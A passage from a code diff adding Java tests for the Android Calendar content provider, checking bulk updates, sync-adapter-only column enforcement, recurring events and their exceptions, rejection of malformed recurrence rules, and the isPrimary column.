+        badValues.putNull(Events.EVENT_TIMEZONE);
+        badValues.remove(Events.DIRTY);
+        try {
+            mContentResolver.update(eventUri, badValues, null, null);
+            fail("was allowed to null out EVENT_TIMEZONE");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        removeAndVerifyEvent(eventUri, eventValues, account);
+
+        // delete the calendar
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    /**
+     * Tests update of multiple events with a single update call.
+     */
+    @MediumTest
+    public void testBulkUpdate() {
+        String account = "bup_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+        String calendarIdStr = String.valueOf(calendarId);
+
+        // Create events
+        ContentValues eventValues;
+        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+
+        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+
+        // Update the "description" field in all events in this calendar.
+        String newDescription = "bulk edit";
+        ContentValues updateValues = new ContentValues();
+        updateValues.put(Events.DESCRIPTION, newDescription);
+
+        // Must be sync adapter to do a bulk update.
+        Uri uri = asSyncAdapter(Events.CONTENT_URI, account, CTS_TEST_TYPE);
+        int count = mContentResolver.update(uri, updateValues, SQL_WHERE_CALENDAR_ID,
+                new String[] { calendarIdStr });
+
+        // Check to see if the changes went through.
+        Uri eventUri = Events.CONTENT_URI;
+        Cursor c = mContentResolver.query(eventUri, new String[] { Events.DESCRIPTION },
+                SQL_WHERE_CALENDAR_ID, new String[] { calendarIdStr }, null);
+        assertEquals(2, c.getCount());
+        while (c.moveToNext()) {
+            assertEquals(newDescription, c.getString(0));
+        }
+        c.close();
+
+        // delete the calendar
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    /**
+     * Tests the content provider's enforcement of restrictions on who is allowed to modify
+     * specific columns in a Calendar.
+     * <p>
+     * This attempts to create a new row in the Calendar table, specifying one restricted
+     * column at a time.
+     */
+    @MediumTest
+    public void testSyncOnlyInsertEnforcement() {
+        // These operations should not succeed, so there should be nothing to clean up after.
+        // TODO: this should be a new event augmented with an illegal column, not a single
+        //       column.  Otherwise we might be tripping over a "DTSTART must exist" test.
+        ContentValues vals = new ContentValues();
+        for (int i = 0; i < Calendars.SYNC_WRITABLE_COLUMNS.length; i++) {
+            boolean threw = false;
+            try {
+                vals.clear();
+                vals.put(Calendars.SYNC_WRITABLE_COLUMNS[i], "1");
+                mContentResolver.insert(Calendars.CONTENT_URI, vals);
+            } catch (IllegalArgumentException e) {
+                threw = true;
+            }
+            assertTrue("Only sync adapter should be allowed to insert "
+                    + Calendars.SYNC_WRITABLE_COLUMNS[i], threw);
+        }
+    }
+
+    /**
+     * Tests creation of a recurring event.
+     * <p>
+     * This (and the other recurrence tests) uses dates well in the past to reduce the likelihood
+     * of encountering non-test recurring events.  (Ideally we would select events associated
+     * with a specific calendar.)  With dates well in the past, it's also important to have a
+     * fixed maximum count or end date; otherwise, if the metadata min/max instance values are
+     * large enough, the recurrence recalculation processor could get triggered on an insert or
+     * update and bump up against the 2000-instance limit.
+     *
+     * TODO: need some allDay tests
+     */
+    @MediumTest
+    public void testRecurrence() {
+        String account = "re_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+        // Create recurring event
+        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
+                calendarId, true, "2003-08-05T09:00:00", "PT1H",
+                "FREQ=WEEKLY;INTERVAL=2;COUNT=4;BYDAY=TU,SU;WKST=SU");
+        long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+        //Log.d(TAG, "+++ basic recurrence eventId is " + eventId);
+
+        // Check to see if we have the expected number of instances
+        String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
+        int instanceCount = getInstanceCount(timeZone, "2003-08-05T00:00:00",
+                "2003-08-31T11:59:59", new long[] { calendarId });
+        if (false) {
+            Cursor instances = getInstances(timeZone, "2003-08-05T00:00:00", "2003-08-31T11:59:59",
+                    new String[] { Instances.BEGIN }, new long[] { calendarId });
+            dumpInstances(instances, timeZone, "initial");
+            instances.close();
+        }
+        assertEquals("recurrence instance count", 4, instanceCount);
+
+        // delete the calendar
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    /**
+     * Tests conversion of a regular event to a recurring event.
+     */
+    @MediumTest
+    public void testConversionToRecurring() {
+        String account = "reconv_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar and event
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+        ContentValues eventValues = EventHelper
+                .getNewEventValues(account, seed++, calendarId, true);
+        long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+
+        long dtstart = eventValues.getAsLong(Events.DTSTART);
+        long dtend = eventValues.getAsLong(Events.DTEND);
+        long durationSecs = (dtend - dtstart) / 1000;
+
+        ContentValues updateValues = new ContentValues();
+        updateValues.put(Events.RRULE, "FREQ=WEEKLY");   // recurs forever
+        updateValues.put(Events.DURATION, "P" + durationSecs + "S");
+        updateValues.putNull(Events.DTEND);
+
+        // Issue update; do it as app instead of sync adapter to exercise that path.
+        updateAndVerifyEvent(account, calendarId, eventId, false, updateValues);
+
+        // Make sure LAST_DATE got nulled out by our infinitely repeating sequence.
+        Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+        Cursor c = mContentResolver.query(eventUri, new String[] { Events.LAST_DATE },
+                null, null, null);
+        assertEquals(1, c.getCount());
+        assertTrue(c.moveToFirst());
+        assertNull(c.getString(0));
+        c.close();
+
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    /**
+     * Tests creation of a recurring event with single-instance exceptions.
+     */
+    @MediumTest
+    public void testSingleRecurrenceExceptions() {
+        String account = "rex_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+        // Create recurring event.
+        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
+                calendarId, true, "1999-03-28T09:00:00", "PT1H", "FREQ=WEEKLY;WKST=SU;COUNT=100");
+        long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
+
+        // Add some attendees and reminders.
+        addAttendees(account, eventId, seed);
+        addReminders(account, eventId, seed);
+
+        // Select a period that gives us 5 instances.  We don't want this to straddle a DST
+        // transition, because we expect the startMinute field to be the same for all
+        // instances, and it's stored as minutes since midnight in the device's time zone.
+        // Things won't be consistent if the event and the device have different ideas about DST.
+        String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
+        String testStart = "1999-07-02T00:00:00";
+        String testEnd = "1999-08-04T23:59:59";
+        String[] projection = { Instances.BEGIN, Instances.START_MINUTE, Instances.END_MINUTE };
+
+        Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
+                new long[] { calendarId });
+        if (DEBUG_RECURRENCE) {
+            dumpInstances(instances, timeZone, "initial");
+        }
+
+        assertEquals("initial recurrence instance count", 5, instances.getCount());
+
+        /*
+         * Advance the start time of a few instances, and verify.
+         */
+
+        // Leave first instance alone.
+        instances.moveToPosition(1);
+
+        long startMillis;
+        ContentValues excepValues;
+
+        // Advance the start time of the 2nd instance.
+        startMillis = instances.getLong(0);
+        excepValues = EventHelper.getNewExceptionValues(startMillis);
+        excepValues.put(Events.DTSTART, startMillis + 3600*1000);
+        long excepEventId2 = createAndVerifyException(account, eventId, excepValues, true);
+        instances.moveToNext();
+
+        // Advance the start time of the 3rd instance.
+        startMillis = instances.getLong(0);
+        excepValues = EventHelper.getNewExceptionValues(startMillis);
+        excepValues.put(Events.DTSTART, startMillis + 3600*1000*2);
+        long excepEventId3 = createAndVerifyException(account, eventId, excepValues, true);
+        instances.moveToNext();
+
+        // Cancel the 4th instance.
+        startMillis = instances.getLong(0);
+        excepValues = EventHelper.getNewExceptionValues(startMillis);
+        excepValues.put(Events.STATUS, Events.STATUS_CANCELED);
+        long excepEventId4 = createAndVerifyException(account, eventId, excepValues, true);
+        instances.moveToNext();
+
+        // TODO: try to modify a non-existent instance.
+
+        instances.close();
+
+        // TODO: compare Reminders, Attendees, ExtendedProperties on one of the exception events
+
+        // Re-query the instances and figure out if they look right.
+        instances = getInstances(timeZone, testStart, testEnd, projection,
+                new long[] { calendarId });
+        if (DEBUG_RECURRENCE) {
+            dumpInstances(instances, timeZone, "with DTSTART exceptions");
+        }
+        assertEquals("exceptional recurrence instance count", 4, instances.getCount());
+
+        long prevMinute = -1;
+        while (instances.moveToNext()) {
+            // expect the start times for each entry to be different from the previous entry
+            long startMinute = instances.getLong(1);
+            assertTrue("instance start times are different", startMinute != prevMinute);
+
+            prevMinute = startMinute;
+        }
+        instances.close();
+
+
+        // Delete all of our exceptions, and verify.
+        int deleteCount = 0;
+        deleteCount += deleteException(account, eventId, excepEventId2);
+        deleteCount += deleteException(account, eventId, excepEventId3);
+        deleteCount += deleteException(account, eventId, excepEventId4);
+        assertEquals("events deleted", 3, deleteCount);
+
+        // Re-query the instances and figure out if they look right.
+        instances = getInstances(timeZone, testStart, testEnd, projection,
+                new long[] { calendarId });
+        if (DEBUG_RECURRENCE) {
+            dumpInstances(instances, timeZone, "post exception deletion");
+        }
+        assertEquals("post-exception deletion instance count", 5, instances.getCount());
+
+        prevMinute = -1;
+        while (instances.moveToNext()) {
+            // expect the start times for each entry to be the same
+            long startMinute = instances.getLong(1);
+            if (prevMinute != -1) {
+                assertEquals("instance start times are the same", startMinute, prevMinute);
+            }
+            prevMinute = startMinute;
+        }
+        instances.close();
+
+        /*
+         * Repeat the test, this time modifying DURATION.
+         */
+
+        instances = getInstances(timeZone, testStart, testEnd, projection,
+                new long[] { calendarId });
+        if (DEBUG_RECURRENCE) {
+            dumpInstances(instances, timeZone, "initial");
+        }
+
+        assertEquals("initial recurrence instance count", 5, instances.getCount());
+
+        // Leave first instance alone.
+        instances.moveToPosition(1);
+
+        // Advance the end time of the 2nd instance.
+        startMillis = instances.getLong(0);
+        excepValues = EventHelper.getNewExceptionValues(startMillis);
+        excepValues.put(Events.DURATION, "P" + 3600*2 + "S");
+        excepEventId2 = createAndVerifyException(account, eventId, excepValues, true);
+        instances.moveToNext();
+
+        // Advance the end time of the 3rd instance, and change the self-attendee status.
+        startMillis = instances.getLong(0);
+        excepValues = EventHelper.getNewExceptionValues(startMillis);
+        excepValues.put(Events.DURATION, "P" + 3600*3 + "S");
+        excepValues.put(Events.SELF_ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_DECLINED);
+        excepEventId3 = createAndVerifyException(account, eventId, excepValues, true);
+        instances.moveToNext();
+
+        // Advance the start time of the 4th instance, which will also advance the end time.
+        startMillis = instances.getLong(0);
+        excepValues = EventHelper.getNewExceptionValues(startMillis);
+        excepValues.put(Events.DTSTART, startMillis + 3600*1000);
+        excepEventId4 = createAndVerifyException(account, eventId, excepValues, true);
+        instances.moveToNext();
+
+        instances.close();
+
+        // TODO: make sure the selfAttendeeStatus change took
+
+        // Re-query the instances and figure out if they look right.
+        instances = getInstances(timeZone, testStart, testEnd, projection,
+                new long[] { calendarId });
+        if (DEBUG_RECURRENCE) {
+            dumpInstances(instances, timeZone, "with DURATION exceptions");
+        }
+        assertEquals("exceptional recurrence instance count", 5, instances.getCount());
+
+        prevMinute = -1;
+        while (instances.moveToNext()) {
+            // expect the start times for each entry to be different from the previous entry
+            long endMinute = instances.getLong(2);
+            assertTrue("instance end times are different", endMinute != prevMinute);
+
+            prevMinute = endMinute;
+        }
+        instances.close();
+
+        // delete the calendar
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    /**
+     * Tests creation of a simple recurrence exception when not pretending to be the sync
+     * adapter.  One significant consequence is that we don't set the _sync_id field in the
+     * events, which affects how the provider correlates recurrences and exceptions.
+     */
+    @MediumTest
+    public void testNonAdapterRecurrenceExceptions() {
+        String account = "rena_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+        // Generate recurring event, with "asSyncAdapter" set to false.
+        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
+                calendarId, false, "1991-02-03T12:00:00", "PT1H", "FREQ=DAILY;WKST=SU;COUNT=10");
+
+        // Select a period that gives us 3 instances.
+        String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
+        String testStart = "1991-02-03T00:00:00";
+        String testEnd = "1991-02-05T23:59:59";
+        String[] projection = { Instances.BEGIN, Instances.START_MINUTE };
+
+        // Expand the bounds of the instances table so we expand future events as they are added.
+        expandInstanceRange(account, calendarId, testStart, testEnd, timeZone);
+
+        // Create the event in the database.
+        long eventId = createAndVerifyEvent(account, seed++, calendarId, false, eventValues);
+        assertTrue(eventId >= 0);
+
+        // Add some attendees.
+        addAttendees(account, eventId, seed);
+
+        Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
+                new long[] { calendarId });
+        if (DEBUG_RECURRENCE) {
+            dumpInstances(instances, timeZone, "initial");
+        }
+        assertEquals("initial recurrence instance count", 3, instances.getCount());
+
+        /*
+         * Alter the attendee status of the second event.  This should cause the instances to
+         * be updated, replacing the previous 2nd instance with the exception instance.  If the
+         * code is broken we'll see four instances (because the original instance didn't get
+         * removed) or one instance (because the code correctly deleted all related events but
+         * couldn't correlate the exception with its original recurrence).
+         */
+
+        // Leave first instance alone.
+        instances.moveToPosition(1);
+
+        long startMillis;
+        ContentValues excepValues;
+
+        // Advance the start time of the 2nd instance.
+        startMillis = instances.getLong(0);
+        excepValues = EventHelper.getNewExceptionValues(startMillis);
+        excepValues.put(Events.SELF_ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_DECLINED);
+        long excepEventId2 = createAndVerifyException(account, eventId, excepValues, false);
+        instances.moveToNext();
+
+        instances.close();
+
+        // Re-query the instances and figure out if they look right.
+        instances = getInstances(timeZone, testStart, testEnd, projection,
+                new long[] { calendarId });
+        if (DEBUG_RECURRENCE) {
+            dumpInstances(instances, timeZone, "with exceptions");
+        }
+
+        // TODO: this test currently fails due to limitations in the provider
+        //assertEquals("exceptional recurrence instance count", 3, instances.getCount());
+
+        instances.close();
+
+        // delete the calendar
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    /**
+     * Tests insertion of event exceptions before and after a recurring event is created.
+     * <p>
+     * The server may send exceptions down before the event they refer to, so the provider
+     * fills in the originalId of previously-existing exceptions when a recurring event is
+     * inserted.  Make sure that works.
+     * <p>
+     * The _sync_id column is only unique with a given calendar.  We create events with
+     * identical originalSyncId values in two different calendars to verify that the provider
+     * doesn't update unrelated events.
+     * <p>
+     * We can't use the /exception URI, because that only works if the events are created
+     * in order.
+     */
+    @MediumTest
+    public void testOutOfOrderRecurrenceExceptions() {
+        String account1 = "roid1_account";
+        String account2 = "roid2_account";
+        String startWhen = "1987-08-09T12:00:00";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account1);
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account2);
+
+        // Create calendars
+        long calendarId1 = createAndVerifyCalendar(account1, seed++, null);
+        long calendarId2 = createAndVerifyCalendar(account2, seed++, null);
+
+
+        // Generate base event.
+        ContentValues recurEventValues = EventHelper.getNewRecurringEventValues(account1, seed++,
+                calendarId1, true, startWhen, "PT1H", "FREQ=DAILY;WKST=SU;COUNT=10");
+
+        // Select a period that gives us 3 instances.
+        String timeZone = recurEventValues.getAsString(Events.EVENT_TIMEZONE);
+        String testStart = "1987-08-09T00:00:00";
+        String testEnd = "1987-08-11T23:59:59";
+        String[] projection = { Instances.BEGIN, Instances.START_MINUTE, Instances.EVENT_ID };
+
+        /*
+         * We're interested in exploring what the instance expansion code does with the events
+         * as they arrive.  It won't do anything at event-creation time unless the instance
+         * range already covers the interesting set of dates, so we need to create and remove
+         * an instance in the same time frame beforehand.
+         */
+        expandInstanceRange(account1, calendarId1, testStart, testEnd, timeZone);
+
+        /*
+         * Instances table should be expanded.  Do the test.
+         */
+
+        final String MAGIC_SYNC_ID = "MagicSyncId";
+        recurEventValues.put(Events._SYNC_ID, MAGIC_SYNC_ID);
+
+        // Generate exceptions from base, removing the generated _sync_id and setting the
+        // base event's _sync_id as originalSyncId.
+        ContentValues beforeExcepValues, afterExcepValues, unrelatedExcepValues;
+        beforeExcepValues = new ContentValues(recurEventValues);
+        afterExcepValues = new ContentValues(recurEventValues);
+        unrelatedExcepValues = new ContentValues(recurEventValues);
+        beforeExcepValues.remove(Events._SYNC_ID);
+        afterExcepValues.remove(Events._SYNC_ID);
+        unrelatedExcepValues.remove(Events._SYNC_ID);
+        beforeExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
+        afterExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
+        unrelatedExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
+
+        // Disassociate the "unrelated" exception by moving it to the other calendar.
+        unrelatedExcepValues.put(Events.CALENDAR_ID, calendarId2);
+
+        // We shift the start time by half an hour, and use the same _sync_id.
+        final long ONE_DAY_MILLIS = 24 * 60 * 60 * 1000;
+        final long ONE_HOUR_MILLIS  = 60 * 60 * 1000;
+        final long HALF_HOUR_MILLIS  = 30 * 60 * 1000;
+        long dtstartMillis = recurEventValues.getAsLong(Events.DTSTART) + ONE_DAY_MILLIS;
+        beforeExcepValues.put(Events.ORIGINAL_INSTANCE_TIME, dtstartMillis);
+        beforeExcepValues.put(Events.DTSTART, dtstartMillis + HALF_HOUR_MILLIS);
+        beforeExcepValues.put(Events.DTEND, dtstartMillis + ONE_HOUR_MILLIS);
+        beforeExcepValues.remove(Events.DURATION);
+        beforeExcepValues.remove(Events.RRULE);
+        beforeExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
+        dtstartMillis += ONE_DAY_MILLIS;
+        afterExcepValues.put(Events.ORIGINAL_INSTANCE_TIME, dtstartMillis);
+        afterExcepValues.put(Events.DTSTART, dtstartMillis + HALF_HOUR_MILLIS);
+        afterExcepValues.put(Events.DTEND, dtstartMillis + ONE_HOUR_MILLIS);
+        afterExcepValues.remove(Events.DURATION);
+        afterExcepValues.remove(Events.RRULE);
+        afterExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
+        dtstartMillis += ONE_DAY_MILLIS;
+        unrelatedExcepValues.put(Events.ORIGINAL_INSTANCE_TIME, dtstartMillis);
+        unrelatedExcepValues.put(Events.DTSTART, dtstartMillis + HALF_HOUR_MILLIS);
+        unrelatedExcepValues.put(Events.DTEND, dtstartMillis + ONE_HOUR_MILLIS);
+        unrelatedExcepValues.remove(Events.DURATION);
+        unrelatedExcepValues.remove(Events.RRULE);
+        unrelatedExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
+
+
+        // Create "before" and "unrelated" exceptions.
+        long beforeEventId = createAndVerifyEvent(account1, seed, calendarId1, true,
+                beforeExcepValues);
+        assertTrue(beforeEventId >= 0);
+        long unrelatedEventId = createAndVerifyEvent(account2, seed, calendarId2, true,
+                unrelatedExcepValues);
+        assertTrue(unrelatedEventId >= 0);
+
+        // Create recurring event.
+        long recurEventId = createAndVerifyEvent(account1, seed, calendarId1, true,
+                recurEventValues);
+        assertTrue(recurEventId >= 0);
+
+        // Create "after" exception.
+        long afterEventId = createAndVerifyEvent(account1, seed, calendarId1, true,
+                afterExcepValues);
+        assertTrue(afterEventId >= 0);
+
+        if (Log.isLoggable(TAG, Log.DEBUG)) {
+            Log.d(TAG, "before=" + beforeEventId + ", unrel=" + unrelatedEventId +
+                    ", recur=" + recurEventId + ", after=" + afterEventId);
+        }
+
+        // Check to see how many instances we get.  If the recurrence and the exception don't
+        // get paired up correctly, we'll see too many instances.
+        Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
+                new long[] { calendarId1, calendarId2 });
+        if (DEBUG_RECURRENCE) {
+            dumpInstances(instances, timeZone, "with exception");
+        }
+
+        assertEquals("initial recurrence instance count", 3, instances.getCount());
+
+        instances.close();
+
+
+        /*
+         * Now we want to verify that:
+         * - "before" and "after" have an originalId equal to our recurEventId
+         * - "unrelated" has no originalId
+         */
+        Cursor c = null;
+        try {
+            final String[] PROJECTION = new String[] { Events.ORIGINAL_ID };
+            Uri eventUri;
+            Long originalId;
+
+            eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, beforeEventId);
+            c = mContentResolver.query(eventUri, PROJECTION, null, null, null);
+            assertEquals(1, c.getCount());
+            c.moveToNext();
+            originalId = c.getLong(0);
+            assertNotNull(originalId);
+            assertEquals(recurEventId, (long) originalId);
+            c.close();
+
+            eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, afterEventId);
+            c = mContentResolver.query(eventUri, PROJECTION, null, null, null);
+            assertEquals(1, c.getCount());
+            c.moveToNext();
+            originalId = c.getLong(0);
+            assertNotNull(originalId);
+            assertEquals(recurEventId, (long) originalId);
+            c.close();
+
+            eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, unrelatedEventId);
+            c = mContentResolver.query(eventUri, PROJECTION, null, null, null);
+            assertEquals(1, c.getCount());
+            c.moveToNext();
+            assertNull(c.getString(0));
+            c.close();
+
+            c = null;
+        } finally {
+            if (c != null) {
+                c.close();
+            }
+        }
+
+        // delete the calendars
+        removeAndVerifyCalendar(account1, calendarId1);
+        removeAndVerifyCalendar(account2, calendarId2);
+    }
+
+    /**
+     * Tests exceptions that modify all future instances of a recurring event.
+     */
+    @MediumTest
+    public void testForwardRecurrenceExceptions() {
+        String account = "refx_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+        // Create recurring event
+        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
+                calendarId, true, "1999-01-01T06:00:00", "PT1H", "FREQ=WEEKLY;WKST=SU;COUNT=10");
+        long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
+
+        // Add some attendees and reminders.
+        addAttendees(account, eventId, seed++);
+        addReminders(account, eventId, seed++);
+
+        // Get some instances.
+        String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
+        String testStart = "1999-01-01T00:00:00";
+        String testEnd = "1999-01-29T23:59:59";
+        String[] projection = { Instances.BEGIN, Instances.START_MINUTE };
+
+        Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
+                new long[] { calendarId });
+        if (DEBUG_RECURRENCE) {
+            dumpInstances(instances, timeZone, "initial");
+        }
+
+        assertEquals("initial recurrence instance count", 5, instances.getCount());
+
+        // Modify starting from 3rd instance.
+        instances.moveToPosition(2);
+
+        long startMillis;
+        ContentValues excepValues;
+
+        // Replace with a new recurrence rule.  We move the start time an hour later, and cap
+        // it at two instances.
+        startMillis = instances.getLong(0);
+        excepValues = EventHelper.getNewExceptionValues(startMillis);
+        excepValues.put(Events.DTSTART, startMillis + 3600*1000);
+        excepValues.put(Events.RRULE, "FREQ=WEEKLY;COUNT=2;WKST=SU");
+        long excepEventId = createAndVerifyException(account, eventId, excepValues, true);
+        instances.close();
+
+
+        // Check to see if it took.
+        instances = getInstances(timeZone, testStart, testEnd, projection,
+                new long[] { calendarId });
+        if (DEBUG_RECURRENCE) {
+            dumpInstances(instances, timeZone, "with new rule");
+        }
+
+        assertEquals("count with exception", 4, instances.getCount());
+
+        long prevMinute = -1;
+        for (int i = 0; i < 4; i++) {
+            long startMinute;
+            instances.moveToNext();
+            switch (i) {
+                case 0:
+                    startMinute = instances.getLong(1);
+                    break;
+                case 1:
+                case 3:
+                    startMinute = instances.getLong(1);
+                    assertEquals("first/last pairs match", prevMinute, startMinute);
+                    break;
+                case 2:
+                    startMinute = instances.getLong(1);
+                    assertFalse("first two != last two", prevMinute == startMinute);
+                    break;
+                default:
+                    fail();
+                    startMinute = -1;   // make compiler happy
+                    break;
+            }
+
+            prevMinute = startMinute;
+        }
+        instances.close();
+
+        // delete the calendar
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    /**
+     * Tests exceptions that modify all instances of a recurring event.  This is not really an
+     * exception, since it won't create a new event, but supporting it allows us to use the
+     * exception URI without having to determine whether the "start from here" instance is the
+     * very first instance.
+     */
+    @MediumTest
+    public void testFullRecurrenceUpdate() {
+        String account = "ref_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+        // Create recurring event
+        String rrule = "FREQ=DAILY;WKST=MO;COUNT=100";
+        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
+                calendarId, true, "1997-08-29T02:14:00", "PT1H", rrule);
+        long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
+        //Log.i(TAG, "+++ eventId is " + eventId);
+
+        // Get some instances.
+        String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
+        String testStart = "1997-08-01T00:00:00";
+        String testEnd = "1997-08-31T23:59:59";
+        String[] projection = { Instances.BEGIN, Instances.EVENT_LOCATION };
+        String newLocation = "NEW!";
+
+        Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
+                new long[] { calendarId });
+        if (DEBUG_RECURRENCE) {
+            dumpInstances(instances, timeZone, "initial");
+        }
+
+        assertEquals("initial recurrence instance count", 3, instances.getCount());
+
+        instances.moveToFirst();
+        long startMillis = instances.getLong(0);
+        ContentValues excepValues = EventHelper.getNewExceptionValues(startMillis);
+        excepValues.put(Events.RRULE, rrule);   // identifies this as an "all future events" excep
+        excepValues.put(Events.EVENT_LOCATION, newLocation);
+        long excepEventId = createAndVerifyException(account, eventId, excepValues, true);
+        instances.close();
+
+        // Check results.
+        assertEquals("full update does not create new ID", eventId, excepEventId);
+
+        instances = getInstances(timeZone, testStart, testEnd, projection,
+                new long[] { calendarId });
+        assertEquals("post-update instance count", 3, instances.getCount());
+        while (instances.moveToNext()) {
+            assertEquals("new location", newLocation, instances.getString(1));
+        }
+        instances.close();
+
+        // delete the calendar
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    @MediumTest
+    public void testMultiRuleRecurrence() {
+        String account = "multirule_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+        // Create recurring event
+        String rrule = "FREQ=DAILY;WKST=MO;COUNT=5\nFREQ=WEEKLY;WKST=SU;COUNT=5";
+        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
+                calendarId, true, "1997-08-29T02:14:00", "PT1H", rrule);
+        long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
+
+        // TODO: once multi-rule RRULEs are fully supported, verify that they work
+
+        // delete the calendar
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    /**
+     * Issue bad requests and expect them to get rejected.
+     */
+    @MediumTest
+    public void testBadRequests() {
+        String account = "neg_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+        // Create recurring event
+        String rrule = "FREQ=OFTEN;WKST=MO";
+        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
+                calendarId, true, "1997-08-29T02:14:00", "PT1H", rrule);
+        try {
+            createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
+            fail("Bad recurrence rule should have been rejected");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        // delete the calendar
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    /**
+     * Tests correct behavior of Calendars.isPrimary column
+     */
+    @MediumTest
+    public void testCalendarIsPrimary() {
+        String account = "ec_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        int isPrimary;
+        Cursor cursor;
+        ContentValues values = new ContentValues();
+
+        final long calendarId = createAndVerifyCalendar(account, seed++, null);
+        final Uri uri = ContentUris.withAppendedId(Calendars.CONTENT_URI, calendarId);
+
+        // verify when ownerAccount != account_name && isPrimary IS NULL
+        cursor = mContentResolver.query(uri, new String[]{Calendars.IS_PRIMARY}, null, null, null);
+        cursor.moveToFirst();
+        isPrimary = cursor.getInt(0);
+        cursor.close();
+        assertEquals("isPrimary should be 0 if ownerAccount != account_name", 0, isPrimary);
+
+        // verify when ownerAccount == account_name && isPrimary IS NULL
+        values.clear();
+        values.put(Calendars.OWNER_ACCOUNT, account);
+        mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
+        cursor = mContentResolver.query(uri, new String[]{Calendars.IS_PRIMARY}, null, null, null);
+        cursor.moveToFirst();
+        isPrimary = cursor.getInt(0);
+        cursor.close();
+        assertEquals("isPrimary should be 1 if ownerAccount == account_name", 1, isPrimary);
+
+        // verify isPrimary IS NOT NULL
+        values.clear();
+        values.put(Calendars.IS_PRIMARY, SOME_ARBITRARY_INT);
+        mContentResolver.update(uri, values, null, null);
